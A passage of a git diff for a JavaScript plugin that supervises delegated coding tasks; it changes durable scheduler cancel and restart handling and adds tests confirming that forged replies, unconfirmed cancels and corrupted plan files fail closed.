task_id: assignment.task_id, status: 'unresolved' }; - } - lanes.push(reconstructLane(assignment, inspected)); - } - return freezeData({ - schema: 'codex-co-engineer.run-scheduler-receipt.v1', - status: 'inspected', - run_id: plan.run_id, - base_sha: plan.base_sha, - created: false, - lanes, - complete_candidate_blocked: lanes.some((lane) => lane.required - && (lane.status === 'unresolved' || lane.status === 'failed')), - wake: false, - remote_mutated: false, - observed_at: clock(), - }); + return reconstructPlanReceipt(plan, inspectTask, clock, 'inspected'); } }, async cancelAssignments(request) { @@ -1605,31 +2062,37 @@ function wrapDurableScheduler({ inner, schedulerRoot, inspectTask, cancelTask, c if (plan === null) throw error; const selected = new Set(request.assignment_ids ?? []); const lanes = []; + let unconfirmed = false; for (const assignment of plan.assignments) { - let inspected = { task_id: assignment.task_id, status: assignment.status ?? 'dispatched' }; - if (selected.has(assignment.assignment_id)) { - try { - inspected = await cancelTask({ - run_id: plan.run_id, - assignment_id: assignment.assignment_id, - task_id: assignment.task_id, - role: assignment.role, - provider: assignment.provider, - }); - } catch { - inspected = { task_id: assignment.task_id, status: 'unresolved', cancelled: false }; - } + if (!selected.has(assignment.assignment_id)) { + const inspected = await inspectPlanLane(inspectTask, plan, assignment); + lanes.push(reconstructLane(assignment, inspected)); + continue; } - lanes.push(reconstructLane(assignment, inspected)); + let inspected; + try { + inspected = await cancelTask({ + run_id: plan.run_id, + assignment_id: assignment.assignment_id, + task_id: assignment.task_id, + role: assignment.role, + provider: assignment.provider, + }); + } catch { + inspected = { task_id: assignment.task_id, status: 'unresolved', cancelled: false }; + } + const lane = reconstructLane(assignment, inspected, { cancelAttempted: true }); + if (lane.cancel_confirmed !== true) unconfirmed = true; + lanes.push(lane); } return freezeData({ schema: 'codex-co-engineer.run-scheduler-receipt.v1', - status: 'cancelled', + status: unconfirmed ? 'inspected' : 'cancelled', run_id: plan.run_id, base_sha: plan.base_sha, created: false, lanes, - complete_candidate_blocked: false, + complete_candidate_blocked: unconfirmed, wake: false, remote_mutated: false, observed_at: clock(), @@ -1666,13 +2129,28 @@ export async function createDurableRunSeams(options = {}) { const schedulerRoot = await ensurePrivateRoot( options.schedulerRoot ?? (root ? path.join(root, 'runs', 'scheduler') : null), ); + const artifactRoot = await ensurePrivateRoot( + options.artifactRoot ?? (root ? path.join(root, 'runs', 'artifacts') : null), + ); const runStore = await openRunStore(storeRoot); const aggregateAnchor = options.aggregateAnchor ?? missingAggregateAnchor(); const runJournal = wrapDurableJournal({ journalRoot, store: runStore, anchor: aggregateAnchor, }); const attentionBatch = await openAttentionRoot(attentionRoot); - const artifactBridge = durableArtifactBridge(clock); + const deliverSameSessionReply = typeof options.deliverSameSessionReply === 'function' + ? options.deliverSameSessionReply + : (typeof root === 'string' + ? (identity) => deliverSupervisorSameSessionReplyV1(root, identity) + : null); + const cancelSameSessionReply = typeof options.cancelSameSessionReply === 'function' + ? options.cancelSameSessionReply + : (identity) => cancelSupervisorSameSessionReplyV1(cancelTask, identity); + const attention = bindAttentionReplyDelivery(attentionBatch, { + deliver: deliverSameSessionReply, + cancel: cancelSameSessionReply, + }); + const artifactBridge = durableArtifactBridge(clock, artifactRoot); const innerScheduler = createRunScheduler({ delegateTask, inspectTask, @@ -1685,12 +2163,13 @@ export async function createDurableRunSeams(options = {}) { inspectTask, cancelTask, clock, + beforeProviderDispatch: options.beforeProviderDispatch, }); const runtime = createRunRuntime({ runStore, runJournal, aggregateAnchor, - attentionBatch, + attentionBatch: attention, scheduler, artifactBridge, settleLocalTaskLifecycle, @@ -1699,7 +2178,7 @@ export async function createDurableRunSeams(options = {}) { }); return capturedFreeze({ runtime, - attention: attentionBatch, + attention, scheduler, runStore, artifactBridge, @@ -1728,3 +2207,5 @@ capturedFreeze(createRunToolAdapter); capturedFreeze(createInProcessRunSeams); capturedFreeze(createDurableRunSeams); capturedFreeze(classifyDeniedGitOperationV1); +capturedFreeze(deliverSupervisorSameSessionReplyV1); +capturedFreeze(cancelSupervisorSameSessionReplyV1); diff --git a/plugins/codex-co-engineer/mcp/v3/supervisor.mjs b/plugins/codex-co-engineer/mcp/v3/supervisor.mjs index 4f77303..93188dc 100644 --- a/plugins/codex-co-engineer/mcp/v3/supervisor.mjs +++ b/plugins/codex-co-engineer/mcp/v3/supervisor.mjs @@ -66,6 +66,8 @@ import { createDurableRunSeams, createInProcessRunSeams, createRunToolAdapter, + deliverSupervisorSameSessionReplyV1, + cancelSupervisorSameSessionReplyV1, } from './run-tool-adapter.mjs'; const execFile = promisify(nodeExecFile); @@ -2090,14 +2092,40 @@ export async function createSupervisorRunToolAdapter(options = {}) { cleanupLocalTaskLifecycle: options.cleanupLocalTaskLifecycle ?? cleanupLocalTaskLifecycle, clock: options.clock ?? (() => new Date().toISOString()), }; + const deliverSameSessionReply = options.deliverSameSessionReply + ?? ((identity) => deliverSupervisorSameSessionReplyV1(root, identity)); + const cancelSameSessionReply = options.cancelSameSessionReply + ?? ((identity) => cancelSupervisorSameSessionReplyV1(taskFns.cancelTask, identity)); + const seamOptions = { + ...taskFns, + deliverSameSessionReply, + cancelSameSessionReply, + }; const seams = options.seams ?? ( options.inProcess === true - ? createInProcessRunSeams(taskFns) - : await createDurableRunSeams({ root, ...taskFns }) + ? createInProcessRunSeams(seamOptions) + : await createDurableRunSeams({ root, ...seamOptions }) ); + const attention = seams.attention && typeof seams.attention.reply === 'function' + ? { + get: (...args) => seams.attention.get(...args), + ...(typeof seams.attention.latch === 'function' + ? { latch: (...args) => seams.attention.latch(...args) } + : {}), + reply: async (request) => seams.attention.reply({ + run_id: request.run_id, + batch_id: request.batch_id, + expected_revision: request.expected_revision, + reply: request.reply, + ...(request.now !== undefined ? { now: request.now } : {}), + deliver: request.deliver ?? deliverSameSessionReply, + cancel: request.cancel ?? cancelSameSessionReply, + }), + } + : seams.attention; return createRunToolAdapter({ runtime: seams.runtime, - attention: seams.attention, + attention, projectLaneTask: projectSupervisorTerminalReceipt, classifyLaneTask: classifySupervisorTerminalReceipt, rememberSubmitContext: (context) => { diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-tool-adapter-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-tool-adapter-fixtures.mjs index cdee171..18105fc 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-run-tool-adapter-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-tool-adapter-fixtures.mjs @@ -7,6 +7,7 @@ import { projectSupervisorTerminalReceipt, } from '../../mcp/v3/supervisor.mjs'; import { + createDurableRunSeams, createInProcessRunSeams, createRunToolAdapter, } from '../../mcp/v3/run-tool-adapter.mjs'; @@ -23,6 +24,7 @@ import { createMemoryScheduler, createRuntime, makeAssignment, + makePrivateRoot, makeSubmitRequest, makeVerifier, } from './r1-run-runtime-fixtures.mjs'; @@ -195,6 +197,8 @@ export function createSeamAdapter(options = {}) { settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, clock: options.clock ?? createClock(), + deliverSameSessionReply: options.deliverSameSessionReply, + cancelSameSessionReply: options.cancelSameSessionReply, }); const adapter = createRunToolAdapter({ runtime: seams.runtime, @@ -204,3 +208,75 @@ export function createSeamAdapter(options = {}) { }); return { adapter, seams, lifecycle }; } + +export function makeRunReply({ + runId = RUN_ID, + batchId = `att-${runId}`, + assignmentId = ASSIGNMENT_ID, + taskId = TASK_ID, + sessionId = 'sess-1', + questionId = 'q-1', + response = 'ship-it', +} = {}) { + return { + round: 1, + batch_id: batchId, + answers: [{ + assignment_id: assignmentId, + question_id: questionId, + session_id: sessionId, + task_id: taskId, + response, + }], + }; +} + +export function trackingSameSessionDeliver() { + const calls = []; + return { + calls, + async deliver(identity) { + calls.push({ ...identity }); + return { + outcome: 'delivered', + run_id: identity.run_id, + assignment_id: identity.assignment_id, + task_id: identity.task_id, + session_id: identity.session_id, + question_id: identity.question_id, + }; + }, + }; +} + +export async function createDurableAdapter(options = {}) { + const root = options.root ?? await makePrivateRoot('r1-rcutover-durable-'); + const lifecycle = options.lifecycle ?? createLifecycleFns(options.lifecycleOptions ?? { final: true }); + const dispatchCalls = []; + const taskFns = { + delegateTask: options.delegateTask ?? (async (plan) => { + dispatchCalls.push(plan.task_id); + return { task_id: plan.task_id, status: 'dispatched', cursor: '0' }; + }), + inspectTask: options.inspectTask ?? (async (plan) => ({ + task_id: plan.task_id, status: 'running', cursor: plan.cursor ?? '0', + })), + cancelTask: options.cancelTask ?? (async (plan) => ({ + task_id: plan.task_id, status: 'cancelled', cancelled: true, + })), + settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, + clock: options.clock ?? createClock(), + deliverSameSessionReply: options.deliverSameSessionReply, + cancelSameSessionReply: options.cancelSameSessionReply, + beforeProviderDispatch: options.beforeProviderDispatch, + }; + const seams = await createDurableRunSeams({ root, ...taskFns }); + const adapter = createRunToolAdapter({ + runtime: seams.runtime, + attention: seams.attention, + projectLaneTask: options.projectLaneTask ?? projectSupervisorTerminalReceipt, + classifyLaneTask: options.classifyLaneTask ?? classifySupervisorTerminalReceipt, + }); + return { adapter, seams, root, lifecycle, dispatchCalls, taskFns }; +} diff --git a/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs index 370fc7e..128449b 100644 --- a/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs @@ -8,11 +8,15 @@ import { inspect, types as utilTypes } from 'node:util'; import test from 'node:test'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { mkdir, readFile, rm, writeFile } from 'node:fs/promises'; +import path from 'node:path'; + import { classifyRunToolCall, createRunToolAdapter, denyRunToolRemoteMutationV1, } from '../mcp/v3/run-tool-adapter.mjs'; +import { PROFILE_SCHEMA } from '../mcp/v3/profile.mjs'; import { ASSIGNMENT_ID, HOSTILE_ENV, @@ -22,10 +26,15 @@ import { RUN_ID, countingProxy, createAdapter, + createDurableAdapter, + createSeamAdapter, makeAssignment, makeAttentionItem, makeRunArgs, + makeRunReply, + trackingSameSessionDeliver, } from './fixtures/r1-run-tool-adapter-fixtures.mjs'; +import { makePrivateRoot } from './fixtures/r1-run-runtime-fixtures.mjs'; function errorOf(action) { return Promise.resolve() @@ -223,3 +232,199 @@ test('explicit provider/model does not ignore a hostile profile name', async () assert.equal(calls.submit.length, 0); assertContentFree(error); }); + +test('forged same-session identity never delivers and fails closed', async () => { + const tracker = trackingSameSessionDeliver(); + const { adapter } = createSeamAdapter({ + deliverSameSessionReply: tracker.deliver, + }); + await adapter.dispatch('delegate', makeRunArgs()); + await adapter.dispatch('task', { + run_id: RUN_ID, + attention: { items: [makeAttentionItem()] }, + }); + const forged = makeRunReply({ sessionId: 'sess-forged', questionId: 'q-forged' }); + const error = await errorOf(() => adapter.dispatch('task', { + run_id: RUN_ID, + run_reply: { + batch_id: `att-${RUN_ID}`, + expected_revision: 1, + reply: forged, + }, + })); + assert.equal(error.code, 'attention_batch_identity_mismatch'); + assert.equal(tracker.calls.length, 0); + assertContentFree(error); +}); + +test('thrown cancel stays unresolved/unsafe across durable restart', async () => { + const first = await createDurableAdapter(); + try { + await first.adapter.dispatch('delegate', makeRunArgs()); + const restarted = await createDurableAdapter({ + root: first.root, + cancelTask: async () => { + throw new Error(HOSTILE_SECRET); + }, + }); + const receipt = await restarted.adapter.dispatch('cancel', { + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_ID], + }); + assert.equal(receipt.status, 'unresolved'); + assert.equal(receipt.lanes[0].status, 'unresolved'); + assert.equal(receipt.lanes[0].unresolved.code, 'safe_cancel_unconfirmed'); + assert.equal(receipt.cleanup.cleaned, false); + const serialized = inspect(receipt); + assert.equal(serialized.includes(HOSTILE_SECRET), false); + } finally { + await rm(first.root, { recursive: true, force: true }); + } +}); + +test('crash before dispatch cannot duplicate dispatch after restart', async () => { + const first = await createDurableAdapter({ + beforeProviderDispatch: async () => { + throw new RunContractV1Error( + 'durable_state_mismatch', + 'plan', + 'Durable run state is stale, partial, or mismatched.', + ); + }, + }); + try { + const crashed = await errorOf(() => first.adapter.dispatch('delegate', makeRunArgs())); + assert.equal(crashed.code, 'durable_state_mismatch'); + assert.equal(first.dispatchCalls.length, 0); + const restarted = await createDurableAdapter({ root: first.root }); + const inspected = await restarted.adapter.dispatch('status', { run_id: RUN_ID }); + assert.equal(inspected.run_id, RUN_ID); + assert.equal(restarted.dispatchCalls.length, 0); + const resubmit = await restarted.adapter.dispatch('delegate', makeRunArgs()); + assert.equal(resubmit.operation, 'submit'); + assert.equal(restarted.dispatchCalls.length, 0); + } finally { + await rm(first.root, { recursive: true, force: true }); + } +}); + +test('stale partial and mismatched scheduler plans fail closed', async () => { + const first = await createDurableAdapter(); + try { + await first.adapter.dispatch('delegate', makeRunArgs()); + const planPath = path.join(first.root, 'runs', 'scheduler', `${RUN_ID}.json`); + await writeFile(planPath, '{"run_id":'); + const truncated = await createDurableAdapter({ root: first.root }); + const truncatedError = await errorOf(() => truncated.adapter.dispatch('status', { run_id: RUN_ID })); + assert.equal(truncatedError.code, 'durable_state_mismatch'); + assertContentFree(truncatedError); + + const mismatched = await createDurableAdapter(); + try { + await mismatched.adapter.dispatch('delegate', makeRunArgs()); + const otherPlan = path.join(mismatched.root, 'runs', 'scheduler', `${RUN_ID}.json`); + const parsed = JSON.parse(await readFile(otherPlan, 'utf8')); + parsed.base_sha = 'b'.repeat(40); + await writeFile(otherPlan, `${JSON.stringify(parsed)}\n`); + const reopened = await createDurableAdapter({ root: mismatched.root }); + const mismatchError = await errorOf(() => reopened.adapter.dispatch('status', { run_id: RUN_ID })); + assert.equal(mismatchError.code, 'durable_state_mismatch'); + assertContentFree(mismatchError); + } finally { + await rm(mismatched.root, { recursive: true, force: true }); + } + } finally { + await rm(first.root, { recursive: true, force: true }); + } +}); + +test('durable artifacts persist before restart and reject mismatched identity', async () => { + const first = await createDurableAdapter(); + try { + await first.adapter.dispatch('delegate', makeRunArgs()); + const relativePath = `runs/${RUN_ID}/${ASSIGNMENT_ID}/provider-report.txt`; + await first.seams.artifactBridge.captureAssignmentArtifacts({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + artifact_kind: 'provider_report', + media_type: 'text/plain', + relative_path: relativePath, + source: 'owner-only report', + }); + const restarted = await createDurableAdapter({ root: first.root }); + const projected = await restarted.seams.artifactBridge.projectAssignmentArtifacts({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + }); + assert.equal(projected.artifacts.length, 1); + assert.equal(projected.artifacts[0].relative_path, relativePath); + const artifactFile = path.join( + first.root, + 'runs', + 'artifacts', + RUN_ID, + ASSIGNMENT_ID, + `${Buffer.from(relativePath).toString('base64url')}.json`, + ); + const stored = JSON.parse(await readFile(artifactFile, 'utf8')); + stored.artifact_ref.run_id = 'run-forged-identity-00000000000000000000000000000000'; + await writeFile(artifactFile, `${JSON.stringify(stored)}\n`); + const hostile = await createDurableAdapter({ root: first.root }); + const mismatch = await errorOf(() => hostile.seams.artifactBridge.projectAssignmentArtifacts({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + })); + assert.ok([ + 'durable_state_mismatch', + 'invalid_type', + 'artifact_bridge_restart_conflict', + 'artifact_bridge_identity_mismatch', + ].includes(mismatch.code), mismatch.code); + assertContentFree(mismatch); + } finally { + await rm(first.root, { recursive: true, force: true }); + } +}); + +test('catalog mutation after submit cannot change bound assignment resolution', async () => { + const workspace = await makePrivateRoot('r1-rcutover-catalog-mut-'); + try { + const catalogDir = path.join(workspace, '.codex'); + await mkdir(catalogDir, { recursive: true, mode: 0o700 }); + const catalogPath = path.join(catalogDir, 'co-engineer-profiles.json'); + const name = 'writer-profile'; + await writeFile(catalogPath, JSON.stringify({ + [name]: { schema: PROFILE_SCHEMA, provider: 'grok', model: 'grok-4' }, + })); + const first = makeAssignment({ assignmentId: 'lane-a', taskId: 'task-a', writeScope: ['a/**'] }); + const second = makeAssignment({ assignmentId: 'lane-b', taskId: 'task-b', writeScope: ['b/**'] }); + delete first.provider; + delete first.model; + delete second.provider; + delete second.model; + first.profile = name; + second.profile = name; + const args = makeRunArgs({ assignments: [first, second] }); + args.run.git = { ...args.run.git, repository_path: workspace }; + const { adapter, calls } = createAdapter(); + const submitted = await adapter.dispatch('delegate', args); + assert.equal(submitted.lanes[0].provider, 'grok'); + assert.equal(submitted.lanes[1].model, 'grok-4'); + await writeFile(catalogPath, JSON.stringify({ + [name]: { + schema: PROFILE_SCHEMA, + provider: 'cursor-local', + model: 'composer-1', + }, + })); + const inspected = await adapter.dispatch('status', { run_id: RUN_ID }); + assert.equal(inspected.lanes[0].provider, 'grok'); + assert.equal(inspected.lanes[0].model, 'grok-4'); + assert.equal(inspected.lanes[1].provider, 'grok'); + assert.equal(calls.submit.length, 1); + assert.equal(calls.submit[0].assignments[0].provider, 'grok'); + assert.equal(calls.submit[0].assignments[1].model, 'grok-4'); + } finally { + await rm(workspace, { recursive: true, force: true }); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-run-tool-adapter.test.mjs b/plugins/codex-co-engineer/test/r1-run-tool-adapter.test.mjs index 4f7d9bf..97b7fdf 100644 --- a/plugins/codex-co-engineer/test/r1-run-tool-adapter.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-tool-adapter.test.mjs @@ -38,11 +38,14 @@ import { RUN_ID, TASK_ID, createAdapter, + createDurableAdapter, createSeamAdapter, makeAssignment, makeAttentionItem, makeRunArgs, + makeRunReply, makeVerifier, + trackingSameSessionDeliver, zeroWorkPingTimeoutReceipt, } from './fixtures/r1-run-tool-adapter-fixtures.mjs'; import { PROFILE_SCHEMA } from '../mcp/v3/profile.mjs'; @@ -501,3 +504,125 @@ test('durable P33/P34 seams recover identity after a fresh reopen', async () => await rm(root, { recursive: true, force: true }); } }); + +test('same-session reply proves exact task/session/question identity and delivers once', async () => { + const tracker = trackingSameSessionDeliver(); + const { adapter } = createSeamAdapter({ + deliverSameSessionReply: tracker.deliver, + }); + await adapter.dispatch('delegate', makeRunArgs()); + await adapter.dispatch('task', { + run_id: RUN_ID, + attention: { items: [makeAttentionItem()] }, + }); + const replyBody = makeRunReply(); + const first = await adapter.dispatch('task', { + run_id: RUN_ID, + run_reply: { + batch_id: replyBody.batch_id, + expected_revision: 1, + reply: replyBody, + }, + }); + assert.equal(first.operation, 'reply'); + assert.equal(first.attention.status, 'resolved'); + assert.equal(tracker.calls.length, 1); + assert.equal(tracker.calls[0].task_id, TASK_ID); + assert.equal(tracker.calls[0].session_id, 'sess-1'); + assert.equal(tracker.calls[0].question_id, 'q-1'); + const second = await adapter.dispatch('task', { + run_id: RUN_ID, + run_reply: { + batch_id: replyBody.batch_id, + expected_revision: 2, + reply: replyBody, + }, + }); + assert.equal(second.attention.status, 'resolved'); + assert.equal(tracker.calls.length, 1); +}); + +test('unconfirmed cancellation stays unresolved/unsafe and never projects cancelled', async () => { + const { adapter } = createSeamAdapter({ + cancelTask: async (plan) => ({ task_id: plan.task_id, status: 'running', cancelled: false }), + }); + await adapter.dispatch('delegate', makeRunArgs()); + const receipt = await adapter.dispatch('cancel', { + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_ID], + }); + assert.equal(receipt.operation, 'cancel'); + assert.equal(receipt.status, 'unresolved'); + assert.equal(receipt.lanes[0].status, 'unresolved'); + assert.equal(receipt.lanes[0].unresolved.code, 'safe_cancel_unconfirmed'); + assert.equal(receipt.complete_candidate_blocked, true); + assert.equal(receipt.cleanup.cleaned, false); + assert.equal(receipt.cleanup.proof_bound, true); +}); + +test('named profile snapshot is bound once and survives catalog mutation after submit', async () => { + const workspace = await makePrivateRoot('r1-rcutover-snapshot-'); + try { + const catalogDir = path.join(workspace, '.codex'); + await mkdir(catalogDir, { recursive: true, mode: 0o700 }); + const catalogPath = path.join(catalogDir, 'co-engineer-profiles.json'); + const name = 'writer-profile'; + await writeFile(catalogPath, JSON.stringify({ + [name]: { schema: PROFILE_SCHEMA, provider: 'grok', model: 'grok-4' }, + })); + const first = makeAssignment({ assignmentId: 'lane-a', taskId: 'task-a', writeScope: ['a/**'] }); + const second = makeAssignment({ assignmentId: 'lane-b', taskId: 'task-b', writeScope: ['b/**'] }); + delete first.provider; + delete first.model; + delete second.provider; + delete second.model; + first.profile = name; + second.profile = name; + const args = makeRunArgs({ assignments: [first, second] }); + args.run.git = { ...args.run.git, repository_path: workspace }; + const { adapter, calls } = createAdapter(); + const submitted = await adapter.dispatch('delegate', args); + assert.equal(submitted.operation, 'submit'); + assert.equal(submitted.lanes[0].provider, 'grok'); + assert.equal(submitted.lanes[0].model, 'grok-4'); + assert.equal(submitted.lanes[1].provider, 'grok'); + assert.equal(submitted.lanes[1].model, 'grok-4'); + await writeFile(catalogPath, JSON.stringify({ + [name]: { + schema: PROFILE_SCHEMA, + provider: 'dsh', + model: 'muse-spark-1.2-contributor', + }, + })); + const inspected = await adapter.dispatch('status', { run_id: RUN_ID }); + assert.equal(inspected.lanes[0].provider, 'grok'); + assert.equal(inspected.lanes[1].model, 'grok-4'); + assert.equal(calls.submit.length, 1); + assert.equal(calls.submit[0].assignments[0].provider, 'grok'); + assert.equal(calls.submit[0].assignments[1].provider, 'grok'); + } finally { + await rm(workspace, { recursive: true, force: true }); + } +}); + +test('durable restart fallback keeps unconfirmed cancel unresolved/unsafe', async () => { + const first = await createDurableAdapter(); + try { + await first.adapter.dispatch('delegate', makeRunArgs()); + const restarted = await createDurableAdapter({ + root: first.root, + cancelTask: async (plan) => ({ task_id: plan.task_id, status: 'running', cancelled: false }), + }); + const receipt = await restarted.adapter.dispatch('cancel', { + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_ID], + }); + assert.equal(receipt.status, 'unresolved'); + assert.equal(receipt.lanes[0].status, 'unresolved'); + assert.equal(receipt.lanes[0].unresolved.code, 'safe_cancel_unconfirmed'); + assert.equal(receipt.cleanup.cleaned, false); + assert.equal(receipt.complete_candidate_blocked, true); + } finally { + await rm(first.root, { recursive: true, force: true }); + } +}); diff --git a/plugins/codex-co-engineer/test/v3-supervisor.test.mjs b/plugins/codex-co-engineer/test/v3-supervisor.test.mjs index c1e5aad..1c7c4d4 100644 --- a/plugins/codex-co-engineer/test/v3-supervisor.test.mjs +++ b/plugins/codex-co-engineer/test/v3-supervisor.test.mjs @@ -11,6 +11,7 @@ import { cancelTask, cleanupLocalTaskLifecycle, cleanupManagedWorkspace, + createSupervisorRunToolAdapter, createWriterWorkspace, invokeRunTool, launchWorker, @@ -19,6 +20,15 @@ import { supervisorStatus, taskStatus, } from '../mcp/v3/supervisor.mjs'; +import { recordNeedsAttention, submitReply } from '../mcp/v3/mailbox.mjs'; +import { + RUN_ID, + TASK_ID, + makeAttentionItem, + makeRunArgs, + makeRunReply, +} from './fixtures/r1-run-tool-adapter-fixtures.mjs'; +import { createClock, createLifecycleFns } from './fixtures/r1-run-runtime-fixtures.mjs'; import { appendTaskEvent, createLaunchReservation, createTask, readRuntimeRecord, readTask, updateTask } from '../mcp/v3/task-store.mjs'; import { runCursorCloudTask } from '../mcp/v3/cursor-cloud-worker.mjs'; @@ -827,9 +837,94 @@ test('default run seams are durable P33/P34 authorities and cancel confirms', as const source = await readFile(new URL('../mcp/v3/supervisor.mjs', import.meta.url), 'utf8'); assert.match(source, /createDurableRunSeams/u); assert.match(source, /cancelled: projected.status === 'cancelled'/u); + assert.match(source, /deliverSupervisorSameSessionReplyV1/u); assert.match(source, /options.seams \?\? \(/u); }); +test('production P34 reply binds supervisor same-session delivery exactly once', async () => { + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-supervisor-p34-reply-')); + const lifecycle = createLifecycleFns({ final: true }); + try { + await createTask({ + root, + prompt: 'ask a question', + record: { + id: TASK_ID, + status: 'running', + provider: 'grok', + transport: 'acp', + cwd: root, + acp_session_id: 'sess-1', + }, + }); + await recordNeedsAttention(root, TASK_ID, { + session_id: 'sess-1', + question_id: 'q-1', + prompt: 'Choose the next writer step', + }); + const adapter = await createSupervisorRunToolAdapter({ + root, + delegateTask: async (plan) => ({ task_id: plan.task_id, status: 'dispatched', cursor: '0' }), + inspectTask: async (plan) => ({ + task_id: plan.task_id, + status: 'needs_attention', + cursor: plan.cursor ?? '0', + attention: { session_id: 'sess-1', question_id: 'q-1' }, + }), + cancelTaskFn: async (plan) => ({ task_id: plan.task_id, status: 'cancelled', cancelled: true }), + settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, + clock: createClock(), + }); + await adapter.dispatch('delegate', makeRunArgs()); + const attention = await adapter.dispatch('task', { + run_id: RUN_ID, + attention: { items: [makeAttentionItem()] }, + }); + const batchId = attention.attention.batch_id; + assert.equal(typeof batchId, 'string'); + const replyBody = makeRunReply({ batchId }); + const first = await adapter.dispatch('task', { + run_id: RUN_ID, + run_reply: { + batch_id: batchId, + expected_revision: attention.attention.revision, + reply: replyBody, + }, + }); + assert.equal(first.operation, 'reply'); + assert.ok(first.attention.status === 'resolved' || first.attention.status === 'reply_committed'); + await assert.rejects( + () => submitReply(root, TASK_ID, { + session_id: 'sess-1', + question_id: 'q-1', + response: 'ship-it', + }), + (error) => error.code === 'reply_already_recorded', + ); + const second = await adapter.dispatch('task', { + run_id: RUN_ID, + run_reply: { + batch_id: batchId, + expected_revision: first.attention.revision, + reply: replyBody, + }, + }); + assert.ok(second.attention.status === 'resolved' || second.attention.status === 'reply_committed'); + const forged = await adapter.dispatch('task', { + run_id: RUN_ID, + run_reply: { + batch_id: batchId, + expected_revision: second.attention.revision, + reply: makeRunReply({ batchId, sessionId: 'sess-other', questionId: 'q-other' }), + }, + }).then(() => null, (error) => error); + assert.equal(forged?.code, 'attention_batch_reply_conflict'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + test('invokeRunTool preserves omitted 3.2.1 mode and R-TRUTH lifecycle authority', async () => { const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-supervisor-run-tool-')); try { From 44b8f51e0d38126b4f7f20fda63828a95137f12c Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Wed, 26 Aug 2026 15:49:26 +0000 Subject: [PATCH 148/151] fix(v3): reconstruct restart lanes from durable dispatched truth Consume the persisted scheduler dispatched fact instead of hard-coding dispatched=true, so a pre-dispatch crash reopens unresolved and blocked without provider replay or running/cancelled authority. --- .../mcp/v3/run-tool-adapter.mjs | 67 +++++++- .../r1-run-tool-adapter-adversarial.test.mjs | 157 ++++++++++++++++++ 2 files changed, 215 insertions(+), 9 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs b/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs index 2ee5e14..d27a4bf 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs @@ -1908,8 +1908,39 @@ async function loadSchedulerPlan(schedulerRoot, runId) { return parsed; } -function reconstructLane(assignment, inspected, { cancelAttempted = false } = {}) { +function planWasDispatched(plan) { + return plan?.dispatched === true; +} + +function reconstructLane(assignment, inspected, { + cancelAttempted = false, dispatched = false, +} = {}) { const required = assignment.required !== false; + if (dispatched !== true) { + return { + access: assignment.access, + assignment_id: assignment.assignment_id, + attention: null, + cancel_confirmed: cancelAttempted === true ? false : null, + cursor: null, + dispatched: false, + fallback: false, + model: assignment.model, + provider: assignment.provider, + replayed: false, + required, + role: assignment.role, + starting_ref: assignment.starting_ref ?? null, + status: 'unresolved', + task_id: assignment.task_id, + unresolved: { + assignment_id: assignment.assignment_id, + code: cancelAttempted === true ? 'safe_cancel_unconfirmed' : 'dispatch_failed', + required, + }, + write_scope: assignment.write_scope, + }; + } if (cancelAttempted === true) { const confirmed = inspected?.cancelled === true && inspected?.status === 'cancelled' @@ -1979,10 +2010,13 @@ async function inspectPlanLane(inspectTask, plan, assignment) { } async function reconstructPlanReceipt(plan, inspectTask, clock, status = 'inspected') { + const dispatched = planWasDispatched(plan); const lanes = []; for (const assignment of plan.assignments) { - const inspected = await inspectPlanLane(inspectTask, plan, assignment); - lanes.push(reconstructLane(assignment, inspected)); + const inspected = dispatched === true + ? await inspectPlanLane(inspectTask, plan, assignment) + : null; + lanes.push(reconstructLane(assignment, inspected, { dispatched })); } return freezeData({ schema: 'codex-co-engineer.run-scheduler-receipt.v1', @@ -1991,7 +2025,7 @@ async function reconstructPlanReceipt(plan, inspectTask, clock, status = 'inspec base_sha: plan.base_sha, created: false, lanes, - complete_candidate_blocked: lanes.some((lane) => lane.required + complete_candidate_blocked: dispatched !== true || lanes.some((lane) => lane.required && (lane.status === 'unresolved' || lane.status === 'failed')), wake: false, remote_mutated: false, @@ -2060,13 +2094,24 @@ function wrapDurableScheduler({ } const plan = await loadSchedulerPlan(schedulerRoot, request.run_id); if (plan === null) throw error; + const dispatched = planWasDispatched(plan); const selected = new Set(request.assignment_ids ?? []); const lanes = []; let unconfirmed = false; for (const assignment of plan.assignments) { - if (!selected.has(assignment.assignment_id)) { + const selectedLane = selected.has(assignment.assignment_id); + if (dispatched !== true) { + const lane = reconstructLane(assignment, null, { + cancelAttempted: selectedLane, + dispatched: false, + }); + if (selectedLane && lane.cancel_confirmed !== true) unconfirmed = true; + lanes.push(lane); + continue; + } + if (!selectedLane) { const inspected = await inspectPlanLane(inspectTask, plan, assignment); - 